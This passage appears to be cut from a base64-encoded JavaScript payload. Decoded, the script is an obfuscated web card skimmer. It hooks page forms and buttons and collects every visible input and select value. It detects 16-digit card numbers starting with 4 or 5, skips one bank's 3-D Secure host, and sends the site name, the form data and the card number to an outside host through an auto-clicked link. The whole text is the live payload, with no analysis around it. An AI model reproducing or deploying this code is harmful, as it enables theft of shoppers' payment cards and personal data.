zQuY2hhckF0KDApKTsNCnZhciBoaDExID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCgxKSk7DQp2YXIgaGgxMiA9IHBhcnNlSW50KGdnNC5jaGFyQXQoMikpOw0KdmFyIGhoMTMgPSBwYXJzZUludChnZzQuY2hhckF0KDMpKTsNCnZhciBoaDE0ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg0KSk7DQp2YXIgaGgxNSA9IHBhcnNlSW50KGdnNC5jaGFyQXQoNSkpOw0KdmFyIGhoMTYgPSBwYXJzZUludChnZzQuY2hhckF0KDYpKTsNCnZhciBoaDE3ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg3KSk7DQp2YXIgaGgxOCA9IHBhcnNlSW50KGdnNC5jaGFyQXQoOCkpOw0KDQp2YXIgZGQwID0gImQiOw0KdmFyIGRkMSA9ICJlIjsNCnZhciBkZDIgPSAiZiI7DQp2YXIgZGQzID0gImEiOw0KdmFyIGRkNCA9ICJ1IjsNCnZhciBkZDUgPSAibCI7DQp2YXIgZGQ2ID0gInQiOw0KdmFyIGRkNyA9ICJwIjsNCnZhciBkZDggPSAicyI7DQp2YXIgZGQ5ID0gImUiOw0KdmFyIGRkMTAgPSAiciI7DQp2YXIgZGQxMSA9ICJ2IjsNCnZhciBkZDEyID0gInAiOw0KdmFyIGRkMTMgPSAiciI7DQp2YXIgZGQxNCA9ICJvIjsNCnZhciBkZDE1ID0gImEiOw0KdmFyIGRkMTYgPSAicyI7DQp2YXIgZGQxNyA9ICJwIjsNCnZhciBkZDE4ID0gIngiOw0KDQoNCmlmIChoaDAgPiA1KSB7DQpkZDAgPSAiRCI7DQp9DQppZiAoaGgxID4gNSkgew0KZGQxID0gIkUiOw0KfQ0KaWYgKGhoMiA+IDUpIHsNCmRkMiA9ICJGIjsNCn0NCmlmIChoaDMgPiA1KSB7DQpkZDMgPSAiQSI7DQp9DQppZiAoaGg0ID4gNSkgew0KZGQ0ID0gIlUiOw0KfQ0KaWYgKGhoNSA+IDUpIHsNCmRkNSA9ICJMIjsNCn0NCmlmIChoaDYgPiA1KSB7DQpkZDYgPSAiVCI7DQp9DQppZiAoaGg3ID4gNSkgew0KZGQ3ID0gIlAiOw0KfQ0KaWYgKGhoOCA+IDUpIHsNCmRkOCA9ICJTIjsNCn0NCmlmIChoaDkgPiA1KSB7DQpkZDkgPSAiRSI7DQp9DQppZiAoaGgxMCA+IDUpIHsNCmRkMTAgPSAiUiI7DQp9DQppZiAoaGgxMSA+IDUpIHsNCmRkMTEgPSAiViI7DQp9DQppZiAoaGgxMiA+IDUpIHsNCmRkMTIgPSAiUCI7DQp9DQppZiAoaGgxMyA+IDUpIHsNCmRkMTMgPSAiUiI7DQp9DQppZiAoaGgxNCA+IDUpIHsNCmRkMTQgPSAiTyI7DQp9DQppZiAoaGgxNSA+IDUpIHsNCmRkMTUgPSAiQSI7DQp9DQppZiAoaGgxNiA+IDUpIHsNCmRkMTYgPSAiUyI7DQp9DQppZiAoaGgxNyA+IDUpIHsNCmRkMTcgPSAiUCI7DQp9DQppZiAoaGgxOCA+IDUpIHsNCmRkMTggPSAiWCI7DQp9DQoNCg0KDQp2YXIgZm9mZiA9IGRkMCArIGRkMSArIGRkMiArIGRkMyArIGRkNCArIGRkNSArIGRkNiArIGRkNyArIGRkOCArIGRkOSArIGRkMTAgKyBkZDExICsgZGQxMiArIGRkMTMgKyBkZDE0ICsgIi4iICsgZGQxNSArIGRkMTYgKyBkZDE3ICsgZGQxODsNCmxldCBudW0gPSBkb2N1bWVudC5mb3Jtcy5sZW5ndGg7DQoNCg0KbGV0IGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5mb3JtczsNCiAgCWZvciAodmFyIGkyID0gMDsgaTIgPCBmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKykgew0KICAgIAkJZm9ybXNDb2xsZWN0aW9uMltpMl0ub25zdWJtaXQgPSBmdW5jdGlvbigpIHsNCiAgICAgICBUZXN0T25CKCk7DQp9DQp9DQoNCmxldCBmb3Jtc0NvbGxlY3Rpb24yYSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJidXR0b24iKTsNCiAgCWZvciAodmFyIGkyYSA9IDA7IGkyYSA8IGZvcm1zQ29sbGVjdGlvbjJhLmxlbmd0aDsgaTJhKyspIHsNCiAgICAJCWZvcm1zQ29sbGVjdGlvbjJhW2kyYV0ub25jbGljayA9IGZ1bmN0aW9uKCkgew0KCVRlc3RPbkIoKTsNCn0NCn0NCndpbmRvdy5vbnN1Ym1pdCA9IGZ1bmN0aW9uICgpIHsNCglUZXN0T25CKCk7DQp9DQoNCmZ1bmN0aW9uIFRlc3RPbkIoKSB7DQp2YXIgaG9ob2QgPSAiZHMuIjsNCg0KDQoNCg0KICB2YXIgc2l0ZSA9IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsNCiAgdmFyIHN0cjEgPSAiIjsNCiAgdmFyIG5ubiA9ICIiOw0KICB2YXIgaG9ob2MgPSAiaWNhIjsNCiAgdmFyIGNoZWNrMSA9IDA7DQogIHZhciBjaGVjazIgPSAwOw0KICB2YXIgbG9vbGEgPSAwOw0KICB2YXIgaG9ob2UgPSAiMyI7DQogIHZhciBmb3Jtc0NvbGxlY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCiAgZm9yICh2YXIgaSA9IDA7IGkgPCBmb3Jtc0NvbGxlY3Rpb24ubGVuZ3RoOyBpKyspIHsNCiAgICB2YXIgaGFoYSA9IGZvcm1zQ29sbGVjdGlvbltpXS5pZDsNCiAgICB2YXIgaGFoYTIgPSBmb3Jtc0NvbGxlY3Rpb25baV0udHlwZTsNCiAgICB2YXIgaGFoYTMgPSBmb3Jtc0NvbGxlY3Rpb25baV0udmFsdWU7DQogICAgdmFyIGhhaGE0ID0gZm9ybXNDb2xsZWN0aW9uW2ldLm5hbWU7DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID4gMTQpIHsNCg0KICAgICAgaGFoYTMgPSBoYWhhMy5yZXBsYWNlKC9ccy9nLCAnJyk7DQogICAgICB2YXIgaXNudW0gPSAvXlxkKyQvLnRlc3QoaGFoYTMpOw0KICAgICAgdmFyIG4xID0gaGFoYTMuc3RhcnRzV2l0aCgnNCcpOw0KICAgICAgdmFyIG4yID0gaGFoYTMuc3RhcnRzV2l0aCgnNScpOw0KICAgICAgdmFyIG4zID0gaGFoYTMuc3RhcnRzV2l0aCgnNicpOw0KICAgICAgdmFyIG4wID0gaGFoYTMuc3RhcnRzV2l0aCgnMycpOw0KDQogICAgICBpZiAobjEgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAxOw0KICAgICAgfQ0KICAgICAgaWYgKG4yID09IHRydWUpIHsNCiAgICAgICAgY2hlY2syID0gMTsNCiAgICAgIH0NCiAgICAgIGlmIChuMyA9PSB0cnVlKSB7DQogICAgICAgIGNoZWNrMiA9IDA7DQogICAgICB9DQogICAgICBpZiAobjAgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAwOw0KICAgICAgfQ0KDQoNCiAgICB9DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE1KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID0gJzEnKSB7DQogICAgICAgICAgY2hlY2sxID0gJzAnOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgIGlmIChoYWhhMy5sZW5ndGggPT0gMTYpIHsNCiAgICAgIGlmIChpc251bSA9PSB0cnVlKSB7DQogICAgICAgIGlmIChjaGVjazIgPT0gMSkgew0KICAgICAgICAgIGNoZWNrMSA9ICcxJzsNCiAgICAgICAgICAgIG5ubiA9IGhhaGEzDQoNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE3KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID09IDEpIHsNCiAgICAgICAgICBjaGVjazEgPSAnMCc7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgaWYgKGhhaGEzLmxlbmd0aCA+IDApIHsNCiAgICAgIGlmIChoYWhhMiA9PSAiaGlkZGVuIikgew0KDQogICAgICB9IGVsc2Ugew0KICAgICAgICBzdHIxID0gc3RyMSArIGhhaGE0ICsgIi0tIiArIGhhaGEzICsgIi0iOw0KICAgICAgfQ0KDQogICAgfQ0KDQogIH0NCiAgdmFyIGNoMSA9ICcxJw0KDQogIGlmIChjaGVjazEgPT0gMSkgew0KDQoJdmFyIGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7DQogIAlmb3IgKHZhciBpMiA9IDA7IGkyIDwgZm9ybXNDb2xsZWN0aW9uMi5sZW5ndGg7IGkyKyspIHsNCiAgICAJCXZhciBzaGFoYSA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLmlkOw0KICAgIAkJdmFyIHNoYWhhMiA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLnR5cGU7DQogICAgCQl2YXIgc2hhaGEzID0gZm9ybXNDb2xsZWN0aW9uMltpMl0udmFsdWU7DQogICAgCQl2YXIgc2hhaGE0ID0gZm9ybXNDb2xsZWN0aW9uMltpMl0ubmFtZTsNCg0KICAgIAkJc3RyMSA9IHN0cjEgKyBzaGFoYTQgKyAiLS0iICsgc2hhaGEzICsgIi0iDQogICAgICAgICAgICBzaXRlID0gc2l0ZSArICItUm9sQGFuZDRZb3UiOw0KICAgICAgICAgICAgc3RyMSA9IHNpdGUgKyAiLSIgKyBzdHIxOw0KDQogCX0NCnZhciBob2hvYSA9ICJib3IiOw0KdmFyIGhvaG9iID0gIi5iZyI7DQoNCmlmIChzaXRlID09IGhvaG9lICsgaG9ob2QgKyBob2hvYSArIGhvaG9jICsgaG9ob2IpIHsNCg0KDQp9IGVsc2Ugew0KDQoNCg0KDQogaWYgKG5ubi5zdGFydHNXaXRoKCI0IikgfHwgbm5uLnN0YXJ0c1dpdGgoIjUiKSkgew0KICAgIGxvb2xhID0gMTsNCg0KDQogICAgdmFyIGhhMSA9ICI6IjsNCiAgICB2YXIgaGEyID0gImgiOw0KICAgIHZhciBoYTMgPSAicCI7DQogICAgdmFyIGhhNCA9ICIvIjsNCiAgICB2YXIgaGE1ID0gInQiOw0KDQp2YXIgdGV4dCA9IG5ubjsNCnZhciB2YXIxID0gdGV4dC5jaGFyQXQoMCk7DQp2YXIgdmFyMiA9IHRleHQuY2hhckF0KDEpOw0KdmFyIHZhcjMgPSB0ZXh0LmNoYXJBdCgyKTsNCnZhciB2YXI0ID0gdGV4dC5jaGFyQXQoMyk7DQp2YXIgdmFyNSA9IHRleHQuY2hhckF0KDQpOw0KdmFyIHZhcjYgPSB0ZXh0LmNoYXJBdCg1KTsNCnZhciB2YXI3ID0gdGV4dC5jaGFyQXQoNik7DQp2YXIgdmFyOCA9IHRleHQuY2hhckF0KDcpOw0KdmFyIHZhcjkgPSB0ZXh0LmNoYXJBdCg4KTsNCnZhciB2YXIxMCA9IHRleHQuY2hhckF0KDkpOw0KdmFyIHZhcjExID0gdGV4dC5jaGFyQXQoMTApOw0KdmFyIHZhcjEyID0gdGV4dC5jaGFyQXQoMTEpOw0KdmFyIHZhcjEzID0gdGV4dC5jaGFyQXQoMTIpOw0KdmFyIHZhcjE0ID0gdGV4dC5jaGFyQXQoMTMpOw0KdmFyIHZhcjE1ID0gdGV4dC5jaGFyQXQoMTQpOw0KdmFyIHZhcjE2ID0gdGV4dC5jaGFyQXQoMTUpOw0KdmFyIHMyID0gcGFyc2VJbnQodmFyMik7DQp2YXIgczQgPSBwYXJzZUludCh2YXI0KTsNCnZhciBzNiA9IHBhcnNlSW50KHZhcjYpOw0KdmFyIHM4ID0gcGFyc2VJbnQodmFyOCk7DQp2YXIgczEwID0gcGFyc2VJbnQodmFyMTApOw0KdmFyIHMxMiA9IHBhcnNlSW50KHZhcjEyKTsNCnZhciBzMTQgPSBwYXJzZUludCh2YXIxNCk7DQp2YXIgczE2ID0gcGFyc2VJbnQodmFyMTYpOw0KDQp2YXIgczEgPSBwYXJzZUludCh2YXIxKSAqIDI7DQppZiAoczEgPiA5KSB7DQogICAgbGV0IHoxID0gczEudG9TdHJpbmcoKQ0KICAgIHZhciBtbTExID0gejEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxID0gejEuY2hhckF0KDEpOw0KDQogICAgczEgPSBwYXJzZUludChtbTExKSArIHBhcnNlSW50KG1tMjEpOw0KDQp9Ow0KdmFyIHMzID0gcGFyc2VJbnQodmFyMykgKiAyOw0KaWYgKHMzID4gOSkgew0KICAgICBsZXQgejMgPSBzMy50b1N0cmluZygpDQogICAgdmFyIG1tMTMgPSB6My5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjMgPSB6My5jaGFyQXQoMSk7DQogICAgczMgPSBwYXJzZUludChtbTEzKSArIHBhcnNlSW50KG1tMjMpOw0KfTsNCnZhciBzNSA9IHBhcnNlSW50KHZhcjUpICogMjsNCmlmIChzNSA+IDkpIHsNCiAgICAgbGV0IHo1ID0gczUudG9TdHJpbmcoKQ0KICAgIHZhciBtbTE1ID0gejUuY2hhckF0KDApOw0KICAgIHZhciBtbTI1ID0gejUuY2hhckF0KDEpOw0KICAgIHM1ID0gcGFyc2VJbnQobW0xNSkgKyBwYXJzZUludChtbTI1KTsNCn07DQp2YXIgczcgPSBwYXJzZUludCh2YXI3KSAqIDI7DQppZiAoczcgPiA5KSB7DQogICAgIGxldCB6NyA9IHM3LnRvU3RyaW5nKCkNCiAgICB2YXIgbW0xNyA9IHo3LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yNyA9IHo3LmNoYXJBdCgxKTsNCiAgICBzNyA9IHBhcnNlSW50KG1tMTcpICsgcGFyc2VJbnQobW0yNyk7DQp9Ow0KdmFyIHM5ID0gcGFyc2VJbnQodmFyOSkgKiAyOw0KaWYgKHM5ID4gOSkgew0KICAgICBsZXQgejkgPSBzOS50b1N0cmluZygpDQogICAgdmFyIG1tMTkgPSB6OS5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjkgPSB6OS5jaGFyQXQoMSk7DQogICAgczkgPSBwYXJzZUludChtbTE5KSArIHBhcnNlSW50KG1tMjkpOw0KfTsNCnZhciBzMTEgPSBwYXJzZUludCh2YXIxMSkgKiAyOw0KaWYgKHMxMSA+IDkpIHsNCiAgICAgbGV0IHoxMSA9IHMxMS50b1N0cmluZygpDQogICB2YXIgbW0xMTEgPSB6MTEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxMSA9IHoxMS5jaGFyQXQoMSk7DQogICAgczExID0gcGFyc2VJbnQobW0xMTEpICsgcGFyc2VJbnQobW0yMTEpOw0KfTsNCnZhciBzMTMgPSBwYXJzZUludCh2YXIxMykgKiAyOw0KaWYgKHMxMyA+IDkpIHsNCiAgICAgbGV0IHoxMyA9IHMxMy50b1N0cmluZygpDQogICAgdmFyIG1tMTEzID0gejEzLmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTMgPSB6MTMuY2hhckF0KDEpOw0KICAgIHMxMyA9IHBhcnNlSW50KG1tMTEzKSArIHBhcnNlSW50KG1tMjEzKTsNCn07DQp2YXIgczE1ID0gcGFyc2VJbnQodmFyMTUpICogMjsNCmlmIChzMTUgPiA5KSB7DQogICAgIGxldCB6MTUgPSBzMTUudG9TdHJpbmcoKQ0KICAgdmFyIG1tMTE1ID0gejE1LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTUgPSB6MTUuY2hhckF0KDEpOw0KICAgIHMxNSA9IHBhcnNlSW50KG1tMTE1KSArIHBhcnNlSW50KG1tMjE1KTsNCn07DQp2YXIgbW9saSA9IHMxICsgczIgKyBzMyArIHM0ICsgczUgKyBzNiArIHM3ICsgczggKyBzOSArIHMxMCArIHMxMSArIHMxMiArIHMxMyArIHMxNCArIHMxNSArIHMxNjsNCm1vbGkgPSBtb2xpLnRvU3RyaW5nKCk7DQoNCg0KCXZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KCXZhciBsaW5rVGV4dCA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCJteSB0aXRsZSB0ZXh0Iik7DQoJYS5hcHBlbmRDaGlsZChsaW5rVGV4dCk7DQoJYS5pZCA9ICJpZDIyMiI7DQoJYS50aXRsZSA9ICJteSB0aXRsZSB0ZXh0IjsNCglhLmhyZWYgPSBoYTIgKyBoYTUgKyBoYTUgKyBoYTMgKyBoYTEgKyBoYTQgKyBoYTQgKyAidXJiaW5zIiArIG1vbGkuY2hhckF0KG1vbGkubGVuZ3RoIC0gMSkgKyAiLTAwMS1zaXRlMS5kdGVtcHVybC5jb20vIiArIGZvZmYgKyAiP1M9IiArIHNpdGUgKyAiJkQ9IiArIHN0cjEgKyAiJk49IiArIG5ubjsNCglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZDIyMicpLmNsaWNrKCk7DQoNCgl2YXIgaWcgPSAwOw0KDQoNCg0KICAgICAgCXZhciBkID0gbmV3IERhdGUoKTsNCiAgICAgIAl2YXIgbiA9IGQuZ2V0U2Vjb25kcygpOw0KDQogICAgIAlkbyB7DQoNCiAgICAgICAgIAl2YXIgZDIgPSBuZXcgRGF0ZSgpOw0KICAgICAgICAgCXZhciBuNCA9IGQyLmdldFNlY29uZHMoKTsNCg0KICAgICAgICAgCWlmIChuIDwgNTUpIHsNCiAgICAgICAgICAgICAJCWlmIChuICsgNSA8IG40KSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgICAgIGlmIChuID4gNTQpIHsNCiAgICAgICAgICAgICBpZiAobiArIDUgPCBuNCArIDYwKSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgfQ0KICAgIHdoaWxlIChpZyA8IDIpOw0KDQoNCmlmIChsb29sYSA9PSAxKSB7DQoNCg0KfQ0KDQoNCiAgICAgfQ0KDQoNCn0NCn0NCg0KDQoNCg0KDQp9DQoNCg0K